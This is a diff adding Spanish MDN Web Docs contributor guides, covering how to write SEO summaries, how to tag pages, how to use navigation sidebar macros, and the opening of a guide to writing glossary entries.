+<p><strong>Nota:</strong> a menos que se indique específicamente lo contrario, estas son orientaciones, no reglas rígidas y rápidas. Aunque debes esforzarte por cumplir estas directrices, en ocasiones se presentan excepciones que no se pueden evitar.</p>
+</div>
+
+<ul>
+ <li> El resumen debe indicar tanto el tema como el tipo de página. Por ejemplo «En esta guía, aprenderemos a utilizar la API del Observador de Intersección para crear aplicaciones web adaptables que actualizan únicamente las animaciones actualmente visibles en pantalla» es de 189 caracteres y explica qué tecnología se está cubriendo, cómo se está utilizando y que el artículo es un tutorial.</li>
+ <li>Se puede elegir el texto de cualquier lugar de cualquier párrafo del artículo, pero lo ideal sería que estuviera en el primer párrafo (o en el segundo, en algunos casos). Si el propósito del artículo no aparece en estos párrafos, es probable que necesite reescribirse la introducción de la página.</li>
+ <li>El resumen debe ajustarse bien al contexto del cuerpo del artículo, ya que de hecho forma parte del artículo.</li>
+ <li>Está bien tener enlaces a otras páginas dentro del resumen. Estos se eliminan automáticamente antes de entregarlos a los motores de búsqueda y no te afectan. También se eliminan antes de que el resumen se utilice como descripción emergente. Los enlaces<em> no</em> se eliminan del resumen cuando se emplean como descripción de la página dentro de los menús y páginas de destino en MDN, lo cual también es muy conveniente.</li>
+ <li>El resumen debe incluir una selección apropiada de los términos clave que probablemente busque alguien que averigüe por información contenida en la página. En el caso del ejemplo de la API del Observador de Intersecciones, esas palabras clave incluyen el nombre de la API, «animaciones», «visible», «adaptable» y «aplicaciones web», entre otras.</li>
+ <li>Para optimizar el valor del <strong>posicionamiento en buscadores</strong> (<em>Search Engine Optimization, SEO</em>) obtenido de un resumen, este no debe tener más de 150 caracteres de longitud.</li>
+ <li>Puesto que una <strong>página de resultados de un motor de búsqueda</strong> (<em>Search Engine Result Page, SERP</em>) no suele mostrar más de 160 caracteres del resumen, se deben evitar resúmenes de mayor longitud. El hecho de que se corte el texto sin escrúpulos puede disuadir a las personas a pulsar en el enlace.</li>
+ <li>
+  <p>Puede resultar tentador escribir un gran resumen que no funcione en la página y luego ocultarlo dentro de un bloque con la clase <code>«hidden»</code> en él. Pero <em>esto no funciona</em>, dado que los motores de búsqueda ignoran el texto que no es visible para el usuario.</p>
+ </li>
+</ul>
+
+<p>Piensa en el resumen como si fuera una especie de {{interwiki("wikipedia", "blurb")}} en el interior de la cubierta o la contracubierta de un libro. Este texto corto tiene que captar la atención del lector rápidamente y animarle a seguir leyendo.</p>
+
+<p>Puede ser un poco complicado redactar un resumen que funcione bien tanto para las páginas de resultados de los motores de búsqueda como dentro del propio texto del artículo, pero en el momento MDN no ofrece una forma de crear un resumen SEO separado del contenido de la página, de modo que haz tu mejor esfuerzo.</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/es/docs//es/docs/MDN/Contribute/Howto/Write_for_SEO">How to write with SEO in mind on MDN Web Docs</a></li>
+</ul>
diff --git a/files/es/mdn/contribute/howto/tag/index.html b/files/es/mdn/contribute/howto/tag/index.html
new file mode 100644
index 0000000000..d477bae0fc
--- /dev/null
+++ b/files/es/mdn/contribute/howto/tag/index.html
@@ -0,0 +1,385 @@
+---
+title: Cómo etiquetar correctamente las páginas
+slug: MDN/Contribute/Howto/Tag
+tags:
+  - Colaborar
+  - Etiquetas
+  - Guia(2)
+  - Guía
+  - MDN
+  - Principiante
+translation_of: MDN/Contribute/Howto/Tag
+---
+<div>{{MDNSidebar}}</div><p><strong>"Article tags"</strong> Las etiquetas del artículo son una forma importante para poner a los visitantes en contacto con contenido útil. Cada página normalmente debería contener varias etiquetas para ayudar a mantener organizado el contenido. En esta página se explica la mejor manera de marcar las páginas para que así  nuestros lectores puedan encontrar la información y podamos mantenernos organizados.</p>
+
+<p>Si necesita ayuda con la interfaz de usuario de edición de etiquetas, consulte la sección de etiquetado <a href="https://developer.mozilla.org/en-US/docs/MDN/Contribute/Editor/Basics#The_tags_box">tagging section</a> en nuestra guía del editor.</p>
+
+<p>Por favor utilice las etiquetas como se explica a continuación. Si no, nuestras herramientas automatizadas no generarán correctamente las listas de contenido, las páginas de destino y el entrecruzamiento de artículos.</p>
+
+<h2 id="Cómo_usa_MDN_las_etiquetas_(tags)">Cómo usa MDN las etiquetas (tags)</h2>
+
+<p>Hay varias maneras de usar las etiquetas en MDN:</p>
+
+<dl>
+ <dt>"Document categorization" Categorización de documentos</dt>
+ <dd>¿Qué clase de documento es? ¿Es una referencia? ¿Un tutorial? ¿Una página de inicio?  Nuestros visitantes pueden usar estas etiquetas para filtrar búsquedas, ¡así que son realmente importantes!</dd>
+ <dt>"Topic identification" Identificación del tema</dt>
+ <dd>¿Qué tema cubre el artículo? ¿Trata sobre una API? ¿El DOM? ¿Gráficos? Estas también son importantes porque se pueden usar en filtros de búsquedas.</dd>
+ <dt>"Technology status" Estado de la tecnología</dt>
+ <dd>¿Cuál es el estado de la tecnología? ¿No es estándar? ¿Obsoleto o en desuso? ¿Experimental?</dd>
+ <dt>"Skill level" Nivel de habilidad</dt>
+ <dd>Para tutoriales y guías, ¿cómo es de avanzado el material cubierto por el artículo?</dd>
+ <dt>"Document metadata" Documento de recursos</dt>
+ <dd>La comunidad de escritores utiliza las etiquetas para hacer un seguimiento de qué páginas necesitan qué tipo de trabajo.</dd>
+</dl>
+
+<h2 id="Tipos_de_etiquetas">Tipos de etiquetas</h2>
+
+<p>Guía rápida de tipos de etiquetas y sus posibles valores.</p>
+
+<h3 id="Categoría_de_documento">Categoría de documento</h3>
+
+<p>Cuando se etiqueta un artículo con una de estas categorías, estas ayudando a las herramientas automáticas a generar con mayor precisión las páginas de destino, tablas de contenido, etc. Estos términos también serán usados por nuestro nuevo motor de búsqueda,  para que nuestros visitantes puedan localizar a su antojo referencias o información de la guía.</p>
+
+<p>Utilizamos los siguientes nombres de categoría como etiquetas de marcado estándar:</p>
+
+<dl>
+ <dt><code>{{Tag("Introducción")}}</code></dt>
+ <dd>El artículo proporciona material introductorio sobre un tema. Lo ideal sería tener solo una etiqueta "Introducción" por tema tecnológico tratado.</dd>
+ <dt><code>{{Tag("Destacado")}}</code></dt>
+ <dd>El artículo es crítico y se mostrará de forma destacada en las páginas de inicio. Esta etiqueta se usara con moderación (nunca más de tres documentos por tema).</dd>
+ <dt><code>{{Tag("Referencia")}}</code></dt>
+ <dd>El artículo contiene material de referencia de una API, elemento, atributo, propiedad o similares.</dd>
+ <dt><code>{{Tag("Inicio")}}</code></dt>
+ <dd>Es una página de inicio.</dd>
+ <dt><code>{{Tag("Guía")}}</code></dt>
+ <dd>El artículo es una página de cómo hacerlo o guía.</dd>
+ <dt><code>{{Tag("Ejemplo")}}</code></dt>
+ <dd>El artículo es una página de ejemplo de código o contiene ejemplos de código (es decir, fragmentos reales de código útil y no de una sola línea "ejemplos de sintaxis").</dd>
+</dl>
+
+<h3 id="Temas">Temas</h3>
+
+<p>Mediante la identificación del área temática del artículo, estás ayudando a generar mejores resultados de búsqueda, páginas de inicio y navegación.</p>
+
+<p>Si bien hay cierta flexibilidad para identificar los nuevos temas, tratamos de limitarlos a los nombres de APIs o tecnologías. Algunos ejemplos:</p>
+
+<ul>
+ <li><code>{{Tag("HTML")}}</code></li>
+ <li><code>{{Tag("CSS")}}</code></li>
+ <li><code>{{Tag("JavaScript")}}</code> (cuidado con la "S" mayúscula!)</li>
+ <li><code>{{Tag("Documento")}}</code></li>
+ <li><code>{{Tag("DOM")}}</code></li>
+ <li><code>{{Tag("API")}}</code> para cada interfaz, método y propiedad</li>
+ <li><code>{{Tag("Método")}}</code> para cada método de una API</li>
+ <li><code>{{Tag("Propiedad")}}</code> para cada propiedad de una API</li>
+ <li><code>{{Tag("Gráficos")}}</code></li>
+ <li><code>{{Tag("Firefox OS")}}</code></li>
+ <li><code>{{Tag("Gecko")}}</code></li>
+ <li><code>{{Tag("XUL")}}</code></li>
+ <li><code>{{Tag("XPCOM")}}</code></li>
+ <li><code>{{Tag("SVG")}}</code></li>
+ <li><code>{{Tag("WebGL")}}</code></li>
+ <li><code>{{Tag("Elemento")}}</code></li>
+ <li><code>{{Tag("Nodo")}}</code></li>
+ <li><code>{{Tag("Herramientas")}}</code></li>
+ <li><code>{{Tag("Web")}}</code></li>
+</ul>
+
+<p>En general, la etiqueta de identificación del tema será el nombre de la interfaz con que este relacionada la página (como nodo "<a href="https://developer.mozilla.org/en-US/docs/Web/API/Node" title="/en-US/docs/Web/API/Node">Node"</a>, que tiene muchas páginas para sus diversas propiedades y métodos), o el nombre general de un tipo de tecnología. Puede etiquetar una página sobre WebGL con <code>Graphics</code> y <code>WebGL</code> ó una página sobre {{HTMLElement("canvas")}} con <code>HTML</code>, <code>Element</code>, <code>Canvas</code> y <code>Graphics</code>.</p>
+
+<h3 id="Estado_tecnológico">Estado tecnológico</h3>
+
+<p>Para ayudar al visitante a comprender el estado actual de una tecnología, usamos estas etiquetas en las páginas para describir la situación de las especificaciones de cada tecnología. Esta descripción no es suficientemente detallada como para explicar los aspectos y avances de las especificaciones (para ello existe la Tabla de Especificaciones), pero ayuda al lector a juzgar si es una buena idea usar la tecnología descrita en el artículo.</p>
+
+<p>Aquí tienen los posibles valores de esta etiqueta:</p>
+
+<dl>
+ <dt><code>{{Tag("Not-standard")}}</code></dt>
+ <dd>Indica que la tecnología o API descrita en la página no forma parte de un estándar, pero se considera estable en cualquier aplicación de navegador. Si no utiliza esta etiqueta, sus lectores asumirán que la tecnología es estándar. La tabla de compatibilidad en la página debe aclarar qué navegador o navegadores soportan esta tecnología o API.</dd>
+ <dt><code>&lt;{{Tag("Deprecated")}}</code></dt>
+ <dd>La tecnología o API cubierta en la página se marca como en desuso en las especificaciones y es probable que con el tiempo sea eliminada de navegadores actuales.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{Tag("Obsolete")}}</code></dt>
+ <dd> La tecnología o API ha sido considerada obsoleta y ha sido eliminada (o actualmente se está retirando) de la totalidad de los navegadores actuales.</dd>
+ <dt><code>{{Tag ("Experimental")}}</code></dt>
+ <dd>La tecnología no es estandar y es una tecnología o API experimental que pueden o no llegar a ser parte de un estandar. También está sujeta a cambios en el motor del navegador (normalmente sólo uno) que lo implementa.</dd>
+ <dt><code>{{Tag("Necesita Privilegios")}}</code></dt>
+ <dd>La API requiere acceso privilegiado al dispositivo en el que se ejecuta el código.</dd>
+</dl>
+
+<dl>
+ <dt><code>{{Tag("Solo Certificado")}}</code></dt>
+ <dd>La API sólo funciona con código certificado.</dd>
+</dl>
+
+<p>¡Estas etiquetas no excluyen el uso de la <a href="https://developer.mozilla.org/en-US/docs/Project:Compatibility_tables" title="/en-US/docs/Project:Compatibility_tables">tabla de compatibilidad</a> en su artículo!</p>
+
+<h3 id="Nivel_de_habilidad">Nivel de habilidad</h3>
+
+<dl>
+ <dd>Utilice este tipo de etiquetas solo para guías y tutoriales (es decir, para páginas que ya esten etiquetadas como <code>Guía</code>)  para ayudar a los usuarios a elegir los tutoriales en base a su nivel. Hay tres valores posibles:</dd>
+ <dt><code>{{Tag ("Principiante")}}</code></dt>
+ <dd>Los artículos diseñados para introducir al lector en una tecnología que nunca han usado o sólo tienen una vaga familiaridad.</dd>
+ <dt><code>{{Tag ("Intermedio")}}</code></dt>
+ <dd>Artículos para los usuarios que ya saben trabajar con la tecnología, pero no son expertos.</dd>
+ <dt><code>{{Tag ("Advanced")}}</code></dt>
+ <dd>Artículos sobre como ampliar las capacidades de una tecnología y del lector.</dd>
+</dl>
+
+<h3 id="Metadatos">Metadatos</h3>
+
+<dl>
+ <dd>La comunidad de escritores utiliza estas etiquetas para designar los artículos que requieran algun tipo trabajo específico. He aquí una lista de los que más utilizamos:</dd>
+ <dt><code>{{Tag ("basura")}}</code></dt>
+ <dd>El artículo debe ser eliminado.</dd>
+ <dt><code>{{Tag ("NecesitaContenido")}}</code></dt>
+ <dd>El artículo es un esbozo o carece de información. Esta etiqueta significa que alguien debe revisar el contenido, añadir más detalles y/o terminar de escribir el artículo.</dd>
+ <dt><code>{{Tag ("NecesitaEjemplos")}}</code></dt>
+ <dd>El artículo necesita uno o más ejemplos para ayudar a demostrar la finalidad el artículo. Estos ejemplos deben utilizar el sistema <a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples" title="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
+ <dt><code>{{Tag ("NecesitaEjemplosReales")}}</code></dt>
+ <dd>El artículo tiene uno o más ejemplos que necesitan ser actualizados para usar el sistema <a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples" title="/en-US/docs/Project:MDN/Contributing/How_to_help/Code_samples">live sample system</a>.</dd>
+ <dt><code>{{Tag ("NecesitaActualizacion")}}</code></dt>
+ <dd>El contenido no está actualizado y necesita una actualización.</dd>
+ <dt><code>{{Tag ("excluir")}}</code></dt>
+ <dd>El contenido no necesita ser localizado y no aparecerá en las páginas de estados de localización.</dd>
+ <dt><code>{{Tag ("prioridad")}}</code></dt>
+ <dd>El contenido es importante y debe ser marcado como prioritario para traductores de MDN.</dd>
+</dl>
+
+<h3 id="Mapa_de_Alfabetización_Web">Mapa de Alfabetización Web</h3>
+
+<p>El proyecto <a href="https://webmaker.org" rel="external">WebMaker</a>, a través de <a href="https://webmaker.org/literacy" rel="external">Web Literacy Map</a> ha definido las habilidades necesarias para leer, escribir y participar en la Web de forma óptima. Utilizaremos etiquetas de "Web Literacy Map" en MDN para ayudar a nuestros usuarios a encontrar los recursos que mejor se adapten a sus necesidades:</p>
+
+<dl>
+ <dt><code>{{Tag ("Navegacion")}}</code></dt>
+ <dd>Cómo navegar por la Web</dd>
+ <dt><code>{{Tag ("WebMecanicas")}}</code></dt>
+ <dd>Cómo está organizada y cómo funciona la web</dd>
+ <dt><code>{{Tag ("Buscar")}}</code></dt>
+ <dd>Cómo encontrar información, personas y recursos en la Web</dd>
+ <dt><code>{{Tag ("Credibilidad")}}</code></dt>
+ <dd>Cómo evaluar críticamente la información que encuentre en la Web</dd>
+ <dt><code>{{Tag ("Seguridad")}}</code></dt>
+ <dd>Cómo mantener sistemas, identidades y seguridad de los contenidos</dd>
+ <dt><code>{{Tag ("Composición")}}</code></dt>
+ <dd>Cómo crear y organizar contenido para la Web</dd>
+ <dt><code>{{Tag ("remezcla")}}</code></dt>
+ <dd>Cómo modificar recursos Web existentes para crear algo nuevo</dd>
+ <dt><code>{{Tag ("Diseno")}}</code></dt>
+ <dd>Cómo mejorar la estética visual y la experiencia del usuario</dd>
+ <dt><code>{{Tag ("Accesibilidad")}}</code></dt>
+ <dd>Cómo comunicarse de una manera universalmente reconocible a través de los recursos de la Web</dd>
+ <dt><code>{{Tag ("CodigoScript")}}</code></dt>
+ <dd>Cómo codificar y / o crear experiencias interactivas en la Web</dd>
+ <dt><code>{{Tag ("infraestructura")}}</code></dt>
+ <dd>Cómo funcionan los detalles técnicos de la Internet</dd>
+ <dt><code>{{Tag ("Compartir")}}</code></dt>
+ <dd>Cómo crear recursos con otras personas</dd>
+ <dt><code>{{Tag ("Colaborar")}}</code></dt>
+ <dd>Cómo trabajar con otras personas</dd>
+ <dt><code>{{Tag ("Comunidad")}}</code></dt>
+ <dd>Cómo participar en las comunidades Web y entender cómo funcionan</dd>
+ <dt><code>{{Tag ("Privacidad")}}</code></dt>
+ <dd>Cómo examinar las consecuencias de compartir datos en línea</dd>
+ <dt><code>{{Tag ("Abriendo")}}</code></dt>
+ <dd>Cómo ayudar a mantener la Web accesible a todo el mundo</dd>
+</dl>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Para cada página debes asignar distintos tipos de etiquetas, por ejemplo:</p>
+
+<p><strong>Un tutorial sobre WebGL para principiantes:</strong><code> </code><code>WebGL, Gráficos, Guía, Principiante</code></p>
+
+<p><strong>Página de referencia para <code>{{HTMLElement ("Canvas")}}:</code></strong>  <code>Canvas, HTML, elemento, gráficos</code></p>
+
+<p><strong>Una página de inicio de herramientas para desarrolladores de Firefox OS</strong><code>: Herramientas, Firefox OS, Inicio</code></p>
+
+<h2 id="Filtros_de_etiquetas_y_búsqueda">Filtros de etiquetas y búsqueda</h2>
+
+<p>Los filtros de búsqueda no funcionarán adecuadamente a menos que etiquetamos correctamente las páginas MDN. A continuación hay una tabla de filtros de búsqueda y las etiquetas de búsqueda que funcionan para dichos filtros.</p>
+
+<div class="note">
+<p><strong>Nota</strong>: Si varias etiquetas se muestran bajo "Nombre de etiqueta", significa que una o más de las etiquetas deben estar presentes en el artículo.</p>
+</div>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Grupo</th>
+   <th scope="col">Nombre filtro</th>
+   <th scope="col">Nombre de etiqueta</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th>Tema</th>
+   <td>Open Web Apps</td>
+   <td>{{Tag("Apps")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>HTML</td>
+   <td>{{Tag("HTML")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>CSS</td>
+   <td>{{Tag("CSS")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>JavaScript</td>
+   <td>{{Tag("JavaScript")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>APIs and DOM</td>
+   <td>{{Tag("API")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Canvas</td>
+   <td>{{Tag("Canvas")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>SVG</td>
+   <td>{{Tag("SVG")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>MathML</td>
+   <td>{{Tag("MathML")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>WebGL</td>
+   <td>{{Tag("WebGL")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>XUL</td>
+   <td>{{Tag("XUL")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Marketplace</td>
+   <td>{{Tag("Marketplace")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Firefox</td>
+   <td>{{Tag("Firefox")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Firefox para Android</td>
+   <td>{{Tag("Firefox Mobile")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Firefox para Desktop</td>
+   <td>{{Tag("Firefox Desktop")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Firefox OS</td>
+   <td>{{Tag("Firefox OS")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Movil</td>
+   <td>{{Tag("Movil")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Web Development</td>
+   <td>{{Tag("Web Development")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Add-ons &amp; Extensions</td>
+   <td>{{Tag("Add-ons ")}}|| {{Tag("Extensions")}} || {{Tag("Plugins")}} || {{Tag("Themes")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Juegos</td>
+   <td>{{Tag("Juegos")}}</td>
+  </tr>
+  <tr>
+   <th>Nivel</th>
+   <td>Soy experto</td>
+   <td>{{Tag("Experto")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Intermedio</td>
+   <td>{{Tag("Intermedio")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Soy aprendiz</td>
+   <td>{{Tag("Aprendiz")}}</td>
+  </tr>
+  <tr>
+   <th>Tipo Documento</th>
+   <td>Docs</td>
+   <td>Restringirá la búsqueda al contenido de los docs, dejando fuera otros contenidos MDN.</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Demostración</td>
+   <td>Incluirá el contenido de demostración en los resultados de búsqueda.</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Herramientas</td>
+   <td>{{Tag("Herramientas")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Ejemplo Código</td>
+   <td>{{Tag("Ejemplo")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Como &amp; Tutorial</td>
+   <td>{{Tag("Guia")}}</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Perfiles Desarrollador</td>
+   <td>Incluirá perfiles de desarrolladores de MDN en los resultados de búsqueda.</td>
+  </tr>
+  <tr>
+   <th> </th>
+   <td>Recurso externo</td>
+   <td>Es algo que el equipo de desarrollo todavía está descifrando...</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Problemas_de_etiquetado_que_puedes_solucionar">Problemas de etiquetado que puedes solucionar</h2>
+
+<p>Hay varios tipos de problemas de etiquetado que puedes ayudar a solucionar:</p>
+
+<dl>
+ <dt>Sin etiquetas</dt>
+ <dd>Generalmente los artículos deben tener por lo menos una etiqueta "categoría" y una etiqueta de "tema". Si puedes ayudar a asegurar que el mínino de etiquetas estén presentes, ¡te convertirás en nuestro héroe de documentación!</dd>
+ <dt>Etiquetas que no siguen nuestras normas de etiquetado</dt>
+ <dd>Por favor, corrija los documentos en los que las etiquetas no siguen las normas de esta página.</dd>
+ <dt>Etiquetas incorrectos</dt>
+ <dd>Si está buscando en un artículo acerca de "HTML" y esta etiquetado como "JavaScript", eso probablemente es incorrecto! Del mismo modo, si un artículo de discusión interna de Mozilla tiene una etiqueta "Web", probablemente sea incorrecto también. Remueva las etiquetas y añada las etiquetas correctas si aun no están. Por favor, corrija también los errores ortográficos (por ejemplo, "Javascript" coincide ya que las etiquetas no son sensibles a las mayúsculas, ¡pero no nos descuidemos!).</dd>
+ <dt>Etiquetas que faltan</dt>
+ <dd>Si un artículo tiene algunas pero no todas las etiquetas que necesita, no dude en añadir más. Por ejemplo, si una página en referencia a JavaScript está (correctamente) etiquetado como "JavaScript" pero nada más, ¡estás invitado a etiquetar la página como "Referencia"!</dd>
+ <dt>Etiqueta Spam</dt>
+ <dd>
+ <p>Es el mayor problema de etiquetado de la Web, la publicidad no deseada. ¡Tenemos que eliminar estas etiquetas de inmediato!, son desagradables y difíciles de manejar si permanecen mucho tiempo en la web. Además, son terribles para {{Glossary("SEO")}}.</p>
+ </dd>
+</dl>
+
+<p>Si ve uno (o más) de estos problemas, por favor acceda a MDN "<a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Contributing/Getting_started#Logging_into_MDN">log into MDN</a>" y haz clic en Editar en la parte superior derecha de la ventana de MDN. Una vez que cargue el editor, desplácese hasta la parte inferior de la página, donde puedes encontrar el cuadro de etiquetas. Para más detalles sobre la interfaz de etiquetado, consulte el cuadro de etiquetas "<a href="https://developer.mozilla.org/en-US/docs/Project:MDN/Contributing/Editor_guide#The_tags_box" title="/en-US/docs/Project:MDN/Contributing/Editor_guide#The_tags_box">The tags box"</a> en la guía del editor de MDN.</p>
diff --git a/files/es/mdn/contribute/howto/usar_barras_laterales_de_navegación/index.html b/files/es/mdn/contribute/howto/usar_barras_laterales_de_navegación/index.html
new file mode 100644
index 0000000000..4ba8e4e4e4
--- /dev/null
+++ b/files/es/mdn/contribute/howto/usar_barras_laterales_de_navegación/index.html
@@ -0,0 +1,78 @@
+---
+title: Cómo usar las barras laterales de navegación
+slug: MDN/Contribute/Howto/Usar_barras_laterales_de_navegación
+translation_of: MDN/Contribute/Howto/Use_navigation_sidebars
+---
+<p>{{MDNSidebar}}{{Draft}}</p>
+
+<p>La navegación en MDN se realiza frecuentemente usando barras laterales que listan otros artículos en una serie así como contenido relacionado tanto en la misma suite de documentación como en otras áreas de MDN. <span class="seoSummary">Las barras laterales de MDN no se crean automáticamente; para incluirlas en la página, es necesario crear y utilizar una macro de algún tipo. En este artículo, revisaremos el proceso de creación de las macros de MDN en la barra lateral y cómo utilizarlas en un artículo.</span></p>
+
+<h2 id="Macros_actuales_de_las_barras_laterales_de_MDN">Macros actuales de las barras laterales de MDN</h2>
+
+<p>MDN ya tiene varias macros para crear barras laterales. La mayoría son específicas para secciones particulares de MDN, mientras que otras tienen la intención de crear barras laterales genéricas para áreas de documentación que de otra manera no tendrían ninguna.</p>
+
+<dl>
+ <dt>{{TemplateLink("AddonSidebar")}}</dt>
+ <dd>Inserts a sidebar for navigating the add-ons documentation; this is primarily content about creating browser extensions.</dd>
+ <dt>{{TemplateLink("APIRef")}}</dt>
+ <dd>Inserts a sidebar used within API interface reference pages and subpages.</dd>
+ <dt>{{TemplateLink("CanvasSidebar")}}</dt>
+ <dd>Inserts a sidebar used within the HTML/DOM Canvas documentation.</dd>
+ <dt>{{TemplateLink("DefaultAPISidebar")}}</dt>
+ <dd>Inserts a default sidebar that can be used on the API overview page of an API that doesn't have its own sidebar type.</dd>
+ <dt>{{TemplateLink("FirefoxSidebar")}}</dt>
+ <dd>Inserts a sidebar used on the documentation that's specific to Firefox.</dd>
+ <dt>{{TemplateLink("GamesSidebar")}}</dt>
+ <dd>Inserts a sidebar for navigating MDN's content about developing games using web technologies.</dd>
+ <dt>{{TemplateLink("HTMLSidebar")}}</dt>
+ <dd>Inserts the sidebar used within MDN's HTML documentation.</dd>
+ <dt>{{TemplateLink("HTTPSidebar")}}</dt>
+ <dd>Inserts a sidebar for use on pages within MDN's HTTP documentation.</dd>
+ <dt>{{TemplateLink("JSSidebar")}}</dt>
+ <dd>Inserts a sidebar for use within the JavaScript documentation.</dd>
+ <dt>{{TemplateLink("LearnSidebar")}}</dt>
+ <dd>Inserts the Learning Area sidebar.</dd>
+ <dt>{{TemplateLink("MDNSidebar")}}</dt>
+ <dd>Inserts a sidebar for navigating MDN's "meta-documentation;" that is, documentation about using and editing the MDN Web Docs site itself. You can actually see that macro in use on this page.</dd>
+ <dt>{{TemplateLink("ServiceWorkerSidebar")}}</dt>
+ <dd>Inserts a sidebar for use within documentation about Service Workers.</dd>
+ <dt>{{TemplateLink("SpiderMonkeySidebar")}}</dt>
+ <dd>Inserts a sidebar for use on pages documenting SpiderMonkey, Mozilla's JavaScript engine.</dd>
+ <dt>{{TemplateLink("ToolsSidebar")}}</dt>
+ <dd>Inserts a sidebar listing pages about Firefox developer tools.</dd>
+ <dt>{{TemplateLink("WebAssemblySidebar")}}</dt>
+ <dd>Inserts a sidebar containing links related to WebAssembly.</dd>
+ <dt>{{TemplateLink("WebExtAPISidebar")}}</dt>
+ <dd>Inserts a sidebar used to navigate the API reference documentation about browser e3dtensions (WebExtensions).</dd>
+ <dt>{{TemplateLink("WebGLSidebar")}}</dt>
+ <dd>Inserts a sidebar that provides navigation of WebGL-related content.</dd>
+ <dt>{{TemplateLink("WebRTCSidebar")}}</dt>
+ <dd>Inserts a sidebar whose contents provide navigation of WebRTC documentation on MDN.</dd>
+ <dt>{{TemplateLink("XSLTRef")}}</dt>
+ <dd>Inserts a sidebar with documentation for XSLT, EXSLT and XPath.</dd>
+</dl>
+
+<h2 id="Using_sidebars">Using sidebars</h2>
+
+<p>To add a sidebar to a page, find the right macro, then, on the page on to which you want to insert the sidebar, click the "Edit" button. Add to the page a {{HTMLElement("p")}} block whose contents are simply the call to the macro. Once there, you can add the macro call. Typically, sidebar macros don't require any parameters, so you can just do, for example:</p>
+
+<pre class="brush: html; no-line-numbers">&lt;p&gt;\{{MDNSidebar}}&lt;/p&gt;</pre>
+
+<p>Usually, you should do this as the first line of the document. In some documents, it's been done at the bottom instead. This works fine, but for the sake of consistency, try to place it at the top.</p>
+
+<p>If there's already a {{HTMLElement("p")}} block with macro calls at the top of the page, such as those that create banners like <code>\{{Non-standard_Header}}</code>, you can put the sidebar macro inside the same {{HTMLElement("p")}}, like this:</p>
+
+<pre class="brush: html; no-line-numbers">&lt;p&gt;\{{HTTPSidebar}}\{{Non-standard_Header}}&lt;/p&gt;</pre>
+
+<h2 id="Creating_sidebars">Creating sidebars</h2>
+
+<p><em>details coming</em></p>
+
+<p>Talk about {{TemplateLink("SidebarUtilities")}}.</p>
+
+<p>There are some macros that can be used to help build sidebars:</p>
+
+<dl>
+ <dt>{{TemplateLink("ListSubpagesForSidebar")}}</dt>
+ <dd>Creates a tree of links structured for use in a sidebar, using the subpages of the specified page.</dd>
+</dl>
diff --git a/files/es/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html b/files/es/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html
new file mode 100644
index 0000000000..a2ae723fb2
--- /dev/null
+++ b/files/es/mdn/contribute/howto/write_a_new_entry_in_the_glossary/index.html
@@ -0,0 +1,72 @@
+---
+title: Cómo escribir una nueva entrada en el Glosario
+slug: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
+tags:
+  - Glosario
+  - Guía
+  - Howto
+  - MDN Meta
+translation_of: MDN/Contribute/Howto/Write_a_new_entry_in_the_Glossary
+---
+<div>{{MDNSidebar}}</div>
+
+<p>El <a href="/es/docs/Glossary">glosario</a> MDN es el sitio donde definimos toda la terminología, jerga, y abreviaciones usadas en la documentación y en la codificación. Contribuir al glosario es una manera simple de hacer la Web más fácil para que todo el mundo la entienda. No necesitas un nivel alto de conocimientos técnicos para escribir entradas en el glosario, porque éstas deberían ser simples y sencillas.</p>
+
+<p>Este artículo describe como escribir una buena entrada al glosario acerca de un tema para el sitio web de MDN docs.</p>
+
+<h2 id="Comó_escribir_una_entrada">Comó escribir una entrada</h2>
+
+<p>Si estás buscando temas que necesitan una entrada al glosario, revisa la <a href="https://developer.mozilla.org/en-US/docs/Glossary#Contribute_to_the_glossary">lista de temas indocumentados </a>en el final de la página principal del Glosario; sigue cualquiera de esos enlaces para empezar una nueva página al Glosario para el item que has seguido;después digue los pasos más abajo.</p>
+
+<p>Si tienes una idea para una nueva entrada al glosario, simplemente abre el siguiente botón en una nueva pestaña y sigue las instrucciones siguientes al botón:</p>
+
+<p></p><div class="align-center"><a class="button ignore-external mega positive" href="/en-US/docs/new?parent=4391">Escribir una nueva entrada en el Glosario<div></div></a></div><p></p>
+
